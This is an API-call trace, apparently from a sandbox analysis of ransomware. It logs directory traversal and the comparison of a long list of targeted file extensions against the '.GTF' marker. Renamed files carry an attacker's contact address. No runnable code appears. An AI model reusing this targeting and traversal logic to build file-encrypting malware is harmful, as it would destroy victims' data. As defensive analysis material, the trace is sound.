	[0066.420] lstrcmpiW (lpString1=".bay", lpString2=".GTF") returned -1
	[0066.420] lstrlenW (lpString=".bd") returned 3
	[0066.420] lstrcmpiW (lpString1=".bd", lpString2="GTF") returned -1
	[0066.420] lstrlenW (lpString=".bin") returned 4
	[0066.420] lstrcmpiW (lpString1=".bin", lpString2=".GTF") returned -1
	[0066.420] lstrlenW (lpString=".bmp") returned 4
	[0066.420] lstrcmpiW (lpString1=".bmp", lpString2=".GTF") returned -1
	[0066.420] lstrlenW (lpString=".bz2") returned 4
	[0066.420] lstrcmpiW (lpString1=".bz2", lpString2=".GTF") returned -1
	[0066.420] lstrlenW (lpString=".c") returned 2
	[0066.420] lstrcmpiW (lpString1=".c", lpString2="TF") returned -1
	[0066.420] lstrlenW (lpString=".cdr") returned 4
	[0066.420] lstrcmpiW (lpString1=".cdr", lpString2=".GTF") returned -1
	[0066.420] lstrlenW (lpString=".cer") returned 4
	[0066.420] lstrcmpiW (lpString1=".cer", lpString2=".GTF") returned -1
	[0066.420] lstrlenW (lpString=".cf") returned 3
	[0066.420] lstrcmpiW (lpString1=".cf", lpString2="GTF") returned -1
	[0066.420] lstrlenW (lpString=".cfc") returned 4
	[0066.420] lstrcmpiW (lpString1=".cfc", lpString2=".GTF") returned -1
	[0066.420] lstrlenW (lpString=".cfm") returned 4
	[0066.420] lstrcmpiW (lpString1=".cfm", lpString2=".GTF") returned -1
	[0066.420] lstrlenW (lpString=".cfml") returned 5
	[0066.420] lstrcmpiW (lpString1=".cfml", lpString2="].GTF") returned -1
	[0066.420] lstrlenW (lpString=".cfu") returned 4
	[0066.420] lstrcmpiW (lpString1=".cfu", lpString2=".GTF") returned -1
	[0066.420] lstrlenW (lpString=".chm") returned 4
	[0066.420] lstrcmpiW (lpString1=".chm", lpString2=".GTF") returned -1
	[0066.420] lstrlenW (lpString=".cin") returned 4
	[0066.420] lstrcmpiW (lpString1=".cin", lpString2=".GTF") returned -1
	[0066.420] lstrlenW (lpString=".class") returned 6
	[0066.420] lstrcmpiW (lpString1=".class", lpString2="m].GTF") returned -1
	[0066.420] lstrlenW (lpString=".clx") returned 4
	[0066.420] lstrcmpiW (lpString1=".clx", lpString2=".GTF") returned -1
	[0066.421] lstrlenW (lpString=".config") returned 7
	[0066.421] lstrcmpiW (lpString1=".config", lpString2="om].GTF") returned -1
	[0066.421] lstrlenW (lpString=".cpp") returned 4
	[0066.421] lstrcmpiW (lpString1=".cpp", lpString2=".GTF") returned -1
	[0066.421] lstrlenW (lpString=".cr2") returned 4
	[0066.421] lstrcmpiW (lpString1=".cr2", lpString2=".GTF") returned -1
	[0066.421] lstrlenW (lpString=".crt") returned 4
	[0066.421] lstrcmpiW (lpString1=".crt", lpString2=".GTF") returned -1
	[0066.421] lstrlenW (lpString=".crw") returned 4
	[0066.421] lstrcmpiW (lpString1=".crw", lpString2=".GTF") returned -1
	[0066.421] lstrlenW (lpString=".cs") returned 3
	[0066.421] lstrcmpiW (lpString1=".cs", lpString2="GTF") returned -1
	[0066.421] lstrlenW (lpString=".css") returned 4
	[0066.421] lstrcmpiW (lpString1=".css", lpString2=".GTF") returned -1
	[0066.421] lstrlenW (lpString=".csv") returned 4
	[0066.421] lstrcmpiW (lpString1=".csv", lpString2=".GTF") returned -1
	[0066.421] lstrlenW (lpString=".cub") returned 4
	[0066.421] lstrcmpiW (lpString1=".cub", lpString2=".GTF") returned -1
	[0066.421] lstrlenW (lpString=".dae") returned 4
	[0066.421] lstrcmpiW (lpString1=".dae", lpString2=".GTF") returned -1
	[0066.421] lstrlenW (lpString=".dat") returned 4
	[0066.421] lstrcmpiW (lpString1=".dat", lpString2=".GTF") returned -1
	[0066.421] lstrlenW (lpString=".db") returned 3
	[0066.421] lstrcmpiW (lpString1=".db", lpString2="GTF") returned -1
	[0066.421] lstrlenW (lpString=".dbf") returned 4
	[0066.421] lstrcmpiW (lpString1=".dbf", lpString2=".GTF") returned -1
	[0066.421] lstrlenW (lpString=".dbx") returned 4
	[0066.421] lstrcmpiW (lpString1=".dbx", lpString2=".GTF") returned -1
	[0066.421] lstrlenW (lpString=".dc3") returned 4
	[0066.421] lstrcmpiW (lpString1=".dc3", lpString2=".GTF") returned -1
	[0066.421] lstrlenW (lpString=".dcm") returned 4
	[0066.421] lstrcmpiW (lpString1=".dcm", lpString2=".GTF") returned -1
	[0066.421] lstrlenW (lpString=".dcr") returned 4
	[0066.421] lstrcmpiW (lpString1=".dcr", lpString2=".GTF") returned -1
	[0066.421] lstrlenW (lpString=".der") returned 4
	[0066.421] lstrcmpiW (lpString1=".der", lpString2=".GTF") returned -1
	[0066.421] lstrlenW (lpString=".dib") returned 4
	[0066.421] lstrcmpiW (lpString1=".dib", lpString2=".GTF") returned -1
	[0066.422] lstrlenW (lpString=".dic") returned 4
	[0066.422] lstrcmpiW (lpString1=".dic", lpString2=".GTF") returned -1
	[0066.422] lstrlenW (lpString=".dif") returned 4
	[0066.422] lstrcmpiW (lpString1=".dif", lpString2=".GTF") returned -1
	[0066.422] lstrlenW (lpString=".divx") returned 5
	[0066.422] lstrcmpiW (lpString1=".divx", lpString2="].GTF") returned -1
	[0066.422] lstrlenW (lpString=".djvu") returned 5
	[0066.422] lstrcmpiW (lpString1=".djvu", lpString2="].GTF") returned -1
	[0066.422] lstrlenW (lpString=".dng") returned 4
	[0066.422] lstrcmpiW (lpString1=".dng", lpString2=".GTF") returned -1
	[0066.422] lstrlenW (lpString=".doc") returned 4
	[0066.422] lstrcmpiW (lpString1=".doc", lpString2=".GTF") returned -1
	[0066.422] lstrlenW (lpString=".docm") returned 5
	[0066.422] lstrcmpiW (lpString1=".docm", lpString2="].GTF") returned -1
	[0066.422] lstrlenW (lpString=".docx") returned 5
	[0066.422] lstrcmpiW (lpString1=".docx", lpString2="].GTF") returned -1
	[0066.422] lstrlenW (lpString=".dot") returned 4
	[0066.422] lstrcmpiW (lpString1=".dot", lpString2=".GTF") returned -1
	[0066.422] lstrlenW (lpString=".dotm") returned 5
	[0066.422] lstrcmpiW (lpString1=".dotm", lpString2="].GTF") returned -1
	[0066.422] lstrlenW (lpString=".dotx") returned 5
	[0066.422] lstrcmpiW (lpString1=".dotx", lpString2="].GTF") returned -1
	[0066.422] lstrlenW (lpString=".dpx") returned 4
	[0066.422] lstrcmpiW (lpString1=".dpx", lpString2=".GTF") returned -1
	[0066.422] lstrlenW (lpString=".dqy") returned 4
	[0066.422] lstrcmpiW (lpString1=".dqy", lpString2=".GTF") returned -1
	[0066.422] lstrlenW (lpString=".dsn") returned 4
	[0066.422] lstrcmpiW (lpString1=".dsn", lpString2=".GTF") returned -1
	[0066.422] lstrlenW (lpString=".dt") returned 3
	[0066.422] lstrcmpiW (lpString1=".dt", lpString2="GTF") returned -1
	[0066.422] FindNextFileW (in: hFindFile=0x8120c8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12cde, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0066.422] FindNextFileW (in: hFindFile=0x8120c8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0066.423] FindNextFileW (in: hFindFile=0x8120c8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0066.423] FindClose (in: hFindFile=0x8120c8 | out: hFindFile=0x8120c8) returned 1
	[0067.723] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0067.724] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1036", cAlternateFileName="")) returned 1
	[0067.724] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e80058
	[0067.724] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036") returned 26
	[0067.724] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9edaca42, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811e48
	[0067.724] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9edaca42, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0067.724] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9ecee038, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9ecee038, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9edaca42, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xeb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0067.724] lstrlenW (lpString="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF") returned 50
	[0067.724] lstrlenW (lpString=".1cd") returned 4
	[0067.724] lstrcmpiW (lpString1=".1cd", lpString2=".GTF") returned -1
	[0067.725] lstrlenW (lpString=".3ds") returned 4
	[0067.725] lstrcmpiW (lpString1=".3ds", lpString2=".GTF") returned -1
	[0067.725] lstrlenW (lpString=".3fr") returned 4
	[0067.725] lstrcmpiW (lpString1=".3fr", lpString2=".GTF") returned -1
	[0067.725] lstrlenW (lpString=".3g2") returned 4
	[0067.725] lstrcmpiW (lpString1=".3g2", lpString2=".GTF") returned -1
	[0067.725] lstrlenW (lpString=".3gp") returned 4
	[0067.725] lstrcmpiW (lpString1=".3gp", lpString2=".GTF") returned -1
	[0067.725] lstrlenW (lpString=".7z") returned 3
	[0067.725] lstrcmpiW (lpString1=".7z", lpString2="GTF") returned -1
	[0067.725] lstrlenW (lpString=".accda") returned 6
	[0067.725] lstrcmpiW (lpString1=".accda", lpString2="m].GTF") returned -1
	[0067.725] lstrlenW (lpString=".accdb") returned 6
	[0067.725] lstrcmpiW (lpString1=".accdb", lpString2="m].GTF") returned -1
	[0067.725] lstrlenW (lpString=".accdc") returned 6
	[0067.725] lstrcmpiW (lpString1=".accdc", lpString2="m].GTF") returned -1
	[0067.725] lstrlenW (lpString=".accde") returned 6
	[0067.725] lstrcmpiW (lpString1=".accde", lpString2="m].GTF") returned -1
	[0067.725] lstrlenW (lpString=".accdt") returned 6
	[0067.725] lstrcmpiW (lpString1=".accdt", lpString2="m].GTF") returned -1
	[0067.725] lstrlenW (lpString=".accdw") returned 6
	[0067.725] lstrcmpiW (lpString1=".accdw", lpString2="m].GTF") returned -1
	[0067.725] lstrlenW (lpString=".adb") returned 4
	[0067.725] lstrcmpiW (lpString1=".adb", lpString2=".GTF") returned -1
	[0067.725] lstrlenW (lpString=".adp") returned 4
	[0067.725] lstrcmpiW (lpString1=".adp", lpString2=".GTF") returned -1
	[0067.725] lstrlenW (lpString=".ai") returned 3
	[0067.725] lstrcmpiW (lpString1=".ai", lpString2="GTF") returned -1
	[0067.725] lstrlenW (lpString=".ai3") returned 4
	[0067.725] lstrcmpiW (lpString1=".ai3", lpString2=".GTF") returned -1
	[0067.725] lstrlenW (lpString=".ai4") returned 4
	[0067.725] lstrcmpiW (lpString1=".ai4", lpString2=".GTF") returned -1
	[0067.725] lstrlenW (lpString=".ai5") returned 4
	[0067.725] lstrcmpiW (lpString1=".ai5", lpString2=".GTF") returned -1
	[0067.725] lstrlenW (lpString=".ai6") returned 4
	[0067.725] lstrcmpiW (lpString1=".ai6", lpString2=".GTF") returned -1
	[0067.725] lstrlenW (lpString=".ai7") returned 4
	[0067.725] lstrcmpiW (lpString1=".ai7", lpString2=".GTF") returned -1
	[0067.726] lstrlenW (lpString=".ai8") returned 4
	[0067.726] lstrcmpiW (lpString1=".ai8", lpString2=".GTF") returned -1
	[0067.726] lstrlenW (lpString=".anim") returned 5
	[0067.726] lstrcmpiW (lpString1=".anim", lpString2="].GTF") returned -1
	[0067.726] lstrlenW (lpString=".arw") returned 4
	[0067.726] lstrcmpiW (lpString1=".arw", lpString2=".GTF") returned -1
	[0067.726] lstrlenW (lpString=".as") returned 3
	[0067.726] lstrcmpiW (lpString1=".as", lpString2="GTF") returned -1
	[0067.726] lstrlenW (lpString=".asa") returned 4
	[0067.726] lstrcmpiW (lpString1=".asa", lpString2=".GTF") returned -1
	[0067.726] lstrlenW (lpString=".asc") returned 4
	[0067.726] lstrcmpiW (lpString1=".asc", lpString2=".GTF") returned -1
	[0067.726] lstrlenW (lpString=".ascx") returned 5
	[0067.726] lstrcmpiW (lpString1=".ascx", lpString2="].GTF") returned -1
	[0067.726] lstrlenW (lpString=".asm") returned 4
	[0067.726] lstrcmpiW (lpString1=".asm", lpString2=".GTF") returned -1
	[0067.726] lstrlenW (lpString=".asmx") returned 5
	[0067.726] lstrcmpiW (lpString1=".asmx", lpString2="].GTF") returned -1
	[0067.726] lstrlenW (lpString=".asp") returned 4
	[0067.726] lstrcmpiW (lpString1=".asp", lpString2=".GTF") returned -1
	[0067.726] lstrlenW (lpString=".aspx") returned 5
	[0067.726] lstrcmpiW (lpString1=".aspx", lpString2="].GTF") returned -1
	[0067.726] lstrlenW (lpString=".asr") returned 4
	[0067.726] lstrcmpiW (lpString1=".asr", lpString2=".GTF") returned -1
	[0067.726] lstrlenW (lpString=".asx") returned 4
	[0067.726] lstrcmpiW (lpString1=".asx", lpString2=".GTF") returned -1
	[0067.726] lstrlenW (lpString=".avi") returned 4
	[0067.726] lstrcmpiW (lpString1=".avi", lpString2=".GTF") returned -1
	[0067.726] lstrlenW (lpString=".avs") returned 4
	[0067.726] lstrcmpiW (lpString1=".avs", lpString2=".GTF") returned -1
	[0067.726] lstrlenW (lpString=".backup") returned 7
	[0067.726] lstrcmpiW (lpString1=".backup", lpString2="om].GTF") returned -1
	[0067.726] lstrlenW (lpString=".bak") returned 4
	[0067.726] lstrcmpiW (lpString1=".bak", lpString2=".GTF") returned -1
	[0067.726] lstrlenW (lpString=".bay") returned 4
	[0067.726] lstrcmpiW (lpString1=".bay", lpString2=".GTF") returned -1
	[0067.726] lstrlenW (lpString=".bd") returned 3
	[0067.726] lstrcmpiW (lpString1=".bd", lpString2="GTF") returned -1
	[0067.727] lstrlenW (lpString=".bin") returned 4
	[0067.727] lstrcmpiW (lpString1=".bin", lpString2=".GTF") returned -1
	[0067.727] lstrlenW (lpString=".bmp") returned 4
	[0067.727] lstrcmpiW (lpString1=".bmp", lpString2=".GTF") returned -1
	[0067.727] lstrlenW (lpString=".bz2") returned 4
	[0067.727] lstrcmpiW (lpString1=".bz2", lpString2=".GTF") returned -1
	[0067.727] lstrlenW (lpString=".c") returned 2
	[0067.727] lstrcmpiW (lpString1=".c", lpString2="TF") returned -1
	[0067.727] lstrlenW (lpString=".cdr") returned 4
	[0067.727] lstrcmpiW (lpString1=".cdr", lpString2=".GTF") returned -1
	[0067.727] lstrlenW (lpString=".cer") returned 4
	[0067.727] lstrcmpiW (lpString1=".cer", lpString2=".GTF") returned -1
	[0067.727] lstrlenW (lpString=".cf") returned 3
	[0067.727] lstrcmpiW (lpString1=".cf", lpString2="GTF") returned -1
	[0067.727] lstrlenW (lpString=".cfc") returned 4
	[0067.727] lstrcmpiW (lpString1=".cfc", lpString2=".GTF") returned -1
	[0067.727] lstrlenW (lpString=".cfm") returned 4
	[0067.727] lstrcmpiW (lpString1=".cfm", lpString2=".GTF") returned -1
	[0067.727] lstrlenW (lpString=".cfml") returned 5
	[0067.727] lstrcmpiW (lpString1=".cfml", lpString2="].GTF") returned -1
	[0067.727] lstrlenW (lpString=".cfu") returned 4
	[0067.727] lstrcmpiW (lpString1=".cfu", lpString2=".GTF") returned -1
	[0067.727] lstrlenW (lpString=".chm") returned 4
	[0067.727] lstrcmpiW (lpString1=".chm", lpString2=".GTF") returned -1
	[0067.727] lstrlenW (lpString=".cin") returned 4
	[0067.727] lstrcmpiW (lpString1=".cin", lpString2=".GTF") returned -1
	[0067.727] lstrlenW (lpString=".class") returned 6
	[0067.727] lstrcmpiW (lpString1=".class", lpString2="m].GTF") returned -1
	[0067.727] lstrlenW (lpString=".clx") returned 4
	[0067.727] lstrcmpiW (lpString1=".clx", lpString2=".GTF") returned -1
	[0067.727] lstrlenW (lpString=".config") returned 7
	[0067.727] lstrcmpiW (lpString1=".config", lpString2="om].GTF") returned -1
	[0067.727] lstrlenW (lpString=".cpp") returned 4
	[0067.727] lstrcmpiW (lpString1=".cpp", lpString2=".GTF") returned -1
	[0067.727] lstrlenW (lpString=".cr2") returned 4
	[0067.727] lstrcmpiW (lpString1=".cr2", lpString2=".GTF") returned -1
	[0067.727] lstrlenW (lpString=".crt") returned 4
	[0067.727] lstrcmpiW (lpString1=".crt", lpString2=".GTF") returned -1
	[0067.728] lstrlenW (lpString=".crw") returned 4
	[0067.728] lstrcmpiW (lpString1=".crw", lpString2=".GTF") returned -1
	[0067.728] lstrlenW (lpString=".cs") returned 3
	[0067.728] lstrcmpiW (lpString1=".cs", lpString2="GTF") returned -1
	[0067.728] lstrlenW (lpString=".css") returned 4
	[0067.728] lstrcmpiW (lpString1=".css", lpString2=".GTF") returned -1
	[0067.728] lstrlenW (lpString=".csv") returned 4
	[0067.728] lstrcmpiW (lpString1=".csv", lpString2=".GTF") returned -1
	[0067.728] lstrlenW (lpString=".cub") returned 4
	[0067.728] lstrcmpiW (lpString1=".cub", lpString2=".GTF") returned -1
	[0067.728] lstrlenW (lpString=".dae") returned 4
	[0067.728] lstrcmpiW (lpString1=".dae", lpString2=".GTF") returned -1
	[0067.728] lstrlenW (lpString=".dat") returned 4
	[0067.728] lstrcmpiW (lpString1=".dat", lpString2=".GTF") returned -1
	[0067.728] lstrlenW (lpString=".db") returned 3
	[0067.728] lstrcmpiW (lpString1=".db", lpString2="GTF") returned -1
	[0067.728] lstrlenW (lpString=".dbf") returned 4
	[0067.728] lstrcmpiW (lpString1=".dbf", lpString2=".GTF") returned -1
	[0067.728] lstrlenW (lpString=".dbx") returned 4
	[0067.728] lstrcmpiW (lpString1=".dbx", lpString2=".GTF") returned -1
	[0067.728] lstrlenW (lpString=".dc3") returned 4
	[0067.728] lstrcmpiW (lpString1=".dc3", lpString2=".GTF") returned -1
	[0067.728] lstrlenW (lpString=".dcm") returned 4
	[0067.728] lstrcmpiW (lpString1=".dcm", lpString2=".GTF") returned -1
	[0067.728] lstrlenW (lpString=".dcr") returned 4
	[0067.728] lstrcmpiW (lpString1=".dcr", lpString2=".GTF") returned -1
	[0067.728] lstrlenW (lpString=".der") returned 4
	[0067.728] lstrcmpiW (lpString1=".der", lpString2=".GTF") returned -1
	[0067.728] lstrlenW (lpString=".dib") returned 4
	[0067.728] lstrcmpiW (lpString1=".dib", lpString2=".GTF") returned -1
	[0067.728] lstrlenW (lpString=".dic") returned 4
	[0067.728] lstrcmpiW (lpString1=".dic", lpString2=".GTF") returned -1
	[0067.728] lstrlenW (lpString=".dif") returned 4
	[0067.728] lstrcmpiW (lpString1=".dif", lpString2=".GTF") returned -1
	[0067.728] lstrlenW (lpString=".divx") returned 5
	[0067.728] lstrcmpiW (lpString1=".divx", lpString2="].GTF") returned -1
	[0067.728] lstrlenW (lpString=".djvu") returned 5
	[0067.728] lstrcmpiW (lpString1=".djvu", lpString2="].GTF") returned -1
	[0067.729] lstrlenW (lpString=".dng") returned 4
	[0067.729] lstrcmpiW (lpString1=".dng", lpString2=".GTF") returned -1
	[0067.729] lstrlenW (lpString=".doc") returned 4
	[0067.729] lstrcmpiW (lpString1=".doc", lpString2=".GTF") returned -1
	[0067.729] lstrlenW (lpString=".docm") returned 5
	[0067.729] lstrcmpiW (lpString1=".docm", lpString2="].GTF") returned -1
	[0067.729] lstrlenW (lpString=".docx") returned 5
	[0067.729] lstrcmpiW (lpString1=".docx", lpString2="].GTF") returned -1
	[0067.729] lstrlenW (lpString=".dot") returned 4
	[0067.729] lstrcmpiW (lpString1=".dot", lpString2=".GTF") returned -1
	[0067.729] lstrlenW (lpString=".dotm") returned 5
	[0067.729] lstrcmpiW (lpString1=".dotm", lpString2="].GTF") returned -1
	[0067.729] lstrlenW (lpString=".dotx") returned 5
	[0067.729] lstrcmpiW (lpString1=".dotx", lpString2="].GTF") returned -1
	[0067.729] lstrlenW (lpString=".dpx") returned 4
	[0067.729] lstrcmpiW (lpString1=".dpx", lpString2=".GTF") returned -1
	[0067.729] lstrlenW (lpString=".dqy") returned 4
	[0067.729] lstrcmpiW (lpString1=".dqy", lpString2=".GTF") returned -1
	[0067.729] lstrlenW (lpString=".dsn") returned 4
	[0067.729] lstrcmpiW (lpString1=".dsn", lpString2=".GTF") returned -1
	[0067.729] lstrlenW (lpString=".dt") returned 3
	[0067.729] lstrcmpiW (lpString1=".dt", lpString2="GTF") returned -1
	[0067.729] lstrlenW (lpString=".dtd") returned 4
	[0067.729] lstrcmpiW (lpString1=".dtd", lpString2=".GTF") returned -1
	[0067.729] lstrlenW (lpString=".dwg") returned 4
	[0067.729] lstrcmpiW (lpString1=".dwg", lpString2=".GTF") returned -1
	[0067.729] lstrlenW (lpString=".dwt") returned 4
	[0067.729] lstrcmpiW (lpString1=".dwt", lpString2=".GTF") returned -1
	[0067.729] lstrlenW (lpString=".dx") returned 3
	[0067.729] lstrcmpiW (lpString1=".dx", lpString2="GTF") returned -1
	[0067.729] lstrlenW (lpString=".dxf") returned 4
	[0067.729] lstrcmpiW (lpString1=".dxf", lpString2=".GTF") returned -1
	[0067.729] lstrlenW (lpString=".edml") returned 5
	[0067.729] lstrcmpiW (lpString1=".edml", lpString2="].GTF") returned -1
	[0067.729] lstrlenW (lpString=".efd") returned 4
	[0067.729] lstrcmpiW (lpString1=".efd", lpString2=".GTF") returned -1
	[0067.729] lstrlenW (lpString=".elf") returned 4
	[0067.729] lstrcmpiW (lpString1=".elf", lpString2=".GTF") returned -1
	[0067.729] lstrlenW (lpString=".emf") returned 4
	[0067.730] lstrcmpiW (lpString1=".emf", lpString2=".GTF") returned -1
	[0067.730] lstrlenW (lpString=".emz") returned 4
	[0067.730] lstrcmpiW (lpString1=".emz", lpString2=".GTF") returned -1
	[0067.730] lstrlenW (lpString=".epf") returned 4
	[0067.730] lstrcmpiW (lpString1=".epf", lpString2=".GTF") returned -1
	[0067.730] lstrlenW (lpString=".eps") returned 4
	[0067.730] lstrcmpiW (lpString1=".eps", lpString2=".GTF") returned -1
	[0067.730] lstrlenW (lpString=".epsf") returned 5
	[0067.730] lstrcmpiW (lpString1=".epsf", lpString2="].GTF") returned -1
	[0067.730] lstrlenW (lpString=".epsp") returned 5
	[0067.730] lstrcmpiW (lpString1=".epsp", lpString2="].GTF") returned -1
	[0067.730] lstrlenW (lpString=".erf") returned 4
	[0067.730] lstrcmpiW (lpString1=".erf", lpString2=".GTF") returned -1
	[0067.730] lstrlenW (lpString=".exr") returned 4
	[0067.730] lstrcmpiW (lpString1=".exr", lpString2=".GTF") returned -1
	[0067.730] lstrlenW (lpString=".f4v") returned 4
	[0067.730] lstrcmpiW (lpString1=".f4v", lpString2=".GTF") returned -1
	[0067.730] lstrlenW (lpString=".fido") returned 5
	[0067.730] lstrcmpiW (lpString1=".fido", lpString2="].GTF") returned -1
	[0067.730] lstrlenW (lpString=".flm") returned 4
	[0067.730] lstrcmpiW (lpString1=".flm", lpString2=".GTF") returned -1
	[0067.730] lstrlenW (lpString=".flv") returned 4
	[0067.730] lstrcmpiW (lpString1=".flv", lpString2=".GTF") returned -1
	[0067.730] lstrlenW (lpString=".frm") returned 4
	[0067.730] lstrcmpiW (lpString1=".frm", lpString2=".GTF") returned -1
	[0067.730] lstrlenW (lpString=".fxg") returned 4
	[0067.730] lstrcmpiW (lpString1=".fxg", lpString2=".GTF") returned -1
	[0067.730] lstrlenW (lpString=".geo") returned 4
	[0067.730] lstrcmpiW (lpString1=".geo", lpString2=".GTF") returned -1
	[0067.730] lstrlenW (lpString=".gif") returned 4
	[0067.730] lstrcmpiW (lpString1=".gif", lpString2=".GTF") returned -1
	[0067.730] lstrlenW (lpString=".grs") returned 4
	[0067.730] lstrcmpiW (lpString1=".grs", lpString2=".GTF") returned -1
	[0067.730] lstrlenW (lpString=".gz") returned 3
	[0067.730] lstrcmpiW (lpString1=".gz", lpString2="GTF") returned -1
	[0067.730] lstrlenW (lpString=".h") returned 2
	[0067.730] lstrcmpiW (lpString1=".h", lpString2="TF") returned -1
	[0067.730] lstrlenW (lpString=".hdr") returned 4
	[0067.731] lstrcmpiW (lpString1=".hdr", lpString2=".GTF") returned 1
	[0067.731] lstrlenW (lpString=".hpp") returned 4
	[0067.731] lstrcmpiW (lpString1=".hpp", lpString2=".GTF") returned 1
	[0067.731] lstrlenW (lpString=".hta") returned 4
	[0067.731] lstrcmpiW (lpString1=".hta", lpString2=".GTF") returned 1
	[0067.731] lstrlenW (lpString=".htc") returned 4
	[0067.731] lstrcmpiW (lpString1=".htc", lpString2=".GTF") returned 1
	[0067.731] lstrlenW (lpString=".htm") returned 4
	[0067.731] lstrcmpiW (lpString1=".htm", lpString2=".GTF") returned 1
	[0067.731] lstrlenW (lpString=".html") returned 5
	[0067.731] lstrcmpiW (lpString1=".html", lpString2="].GTF") returned -1
	[0067.731] lstrlenW (lpString=".icb") returned 4
	[0067.731] lstrcmpiW (lpString1=".icb", lpString2=".GTF") returned 1
	[0067.731] lstrlenW (lpString=".ics") returned 4
	[0067.731] lstrcmpiW (lpString1=".ics", lpString2=".GTF") returned 1
	[0067.731] lstrlenW (lpString=".iff") returned 4
	[0067.731] lstrcmpiW (lpString1=".iff", lpString2=".GTF") returned 1
	[0067.731] lstrlenW (lpString=".inc") returned 4
	[0067.731] lstrcmpiW (lpString1=".inc", lpString2=".GTF") returned 1
	[0067.731] lstrlenW (lpString=".indd") returned 5
	[0067.731] lstrcmpiW (lpString1=".indd", lpString2="].GTF") returned -1
	[0067.731] lstrlenW (lpString=".ini") returned 4
	[0067.731] lstrcmpiW (lpString1=".ini", lpString2=".GTF") returned 1
	[0067.731] lstrlenW (lpString=".iqy") returned 4
	[0067.731] lstrcmpiW (lpString1=".iqy", lpString2=".GTF") returned 1
	[0067.731] lstrlenW (lpString=".j2c") returned 4
	[0067.731] lstrcmpiW (lpString1=".j2c", lpString2=".GTF") returned 1
	[0067.731] lstrlenW (lpString=".j2k") returned 4
	[0067.731] lstrcmpiW (lpString1=".j2k", lpString2=".GTF") returned 1
	[0067.731] lstrlenW (lpString=".java") returned 5
	[0067.731] lstrcmpiW (lpString1=".java", lpString2="].GTF") returned -1
	[0067.731] lstrlenW (lpString=".jp2") returned 4
	[0067.731] lstrcmpiW (lpString1=".jp2", lpString2=".GTF") returned 1
	[0067.731] lstrlenW (lpString=".jpc") returned 4
	[0067.731] lstrcmpiW (lpString1=".jpc", lpString2=".GTF") returned 1
